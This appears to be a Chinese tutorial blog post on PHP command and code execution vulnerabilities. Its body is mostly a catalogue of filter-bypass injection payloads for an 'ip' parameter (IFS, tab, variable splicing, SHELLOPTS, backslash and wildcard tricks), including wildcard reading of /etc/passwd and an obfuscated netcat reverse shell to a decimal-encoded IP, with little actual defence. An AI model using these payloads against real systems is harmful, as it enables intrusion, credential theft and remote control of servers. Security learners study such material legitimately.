文心TONY|命令执行与代码执行(Web漏洞及防御)


文心TONY|命令执行与代码执行(Web漏洞及防御)
本文插图

应用程序的某些功能需要调用可以执行系统命令的函数 , 如果这些函数或函数的参数被用户控制 , 就有可能通过命令连接符("&、|、||")将恶意命令拼接到正常的函数中 , 从而执行系统命令!
文心TONY|命令执行与代码执行(Web漏洞及防御)
本文插图

应用程序提供了一些可以将字符串作为代码执行的函数 , 如果对这些函数的参数控制不严格 , 就有可能会被攻击者利用 , 执行恶意代码!
PHP中常见的命令执行函数
文心TONY|命令执行与代码执行(Web漏洞及防御)
本文插图

PHP中常见的代码执行函数
文心TONY|命令执行与代码执行(Web漏洞及防御)
本文插图
文心TONY|命令执行与代码执行(Web漏洞及防御)
本文插图

注意:具体如何使用及实例 , 请参见之前的文章!
PHP危险代码
开发人员在开发的过程中 , 为了避免命令执行漏洞 , 可能会过滤一些命令!
${IFS}绕过:是shell的特殊环境变量 , 是Linux下的内部域分隔符 , 存储的值可以是空格、制表符、换行符或者其他自定义符号!
?ip=192.168.1.88;cat ${IFS} test.php// 可以查看test.php的源码!
$IFS$9绕过:用于空格过滤
?ip=192.168.1.88;cat ${IFS}$9 test.php// 可以查看test.php的源码!制表符绕过
制表符的URL编码:%09 , 通过%09来代替空格 , 绕过空格过滤!
?ip=192.168.1.88;cat$09test.php// 可以查看test.php的源码!{}绕过
绕过空格过滤
?ip=192.168.1.88;{cat$09test.php}// 可以查看test.php的源码!绕过cat命令过滤
?ip=192.168.1.88;cat变量拼接绕过
Linux支持变量赋值 , 通过变量拼接绕过!
?ip=192.168.1.88;a=c;b=at;$a$b test.php// 可以查看test.php的源码!空变量绕过
?ip=192.168.1.88;ca${z}t test.php// 可以查看test.php的源码!系统变量绕过
${SHELLOPTS}是系统变量 , 利用系统变量的字符拼接绕过过滤!
文心TONY|命令执行与代码执行(Web漏洞及防御)
本文插图

【文心TONY|命令执行与代码执行(Web漏洞及防御)】?ip=192.168.1.88;${SHELLOPTS:3:1}at test.php// 可以查看test.php的源码!\绕过
?ip=192.168.1.88;c\a\t test.php// 可以查看test.php的源码!通配符绕过
* , ?、[]
比如要查看/etc/passwd文件
cat /???/???sw?shell反弹绕过

/bin/nc 192.168.1.88 6666 -e /bin/bash192.168.1.88 转换为十进制:192x256的3次方+168x256的二次方+1x256+88x1=3232235864/b??/?c 3232235864 8888 -e /???/b??hBase64编码绕过
利用系统函数base64对命令进行Base64编码
// id命名对其进行Base64编码:aWQ=解码:base64 -d`echo "aWQ=" | base64 -d`expr和awk绕过
通过命令从其他文件中提取字符进行命令构造
test.txt的内容为:
tonywenxin获取test.txt中的t字母:
expr substr $(awk NR=1 test) 1 1 // 1:位置(索引从1开始的) 1:个数


推荐阅读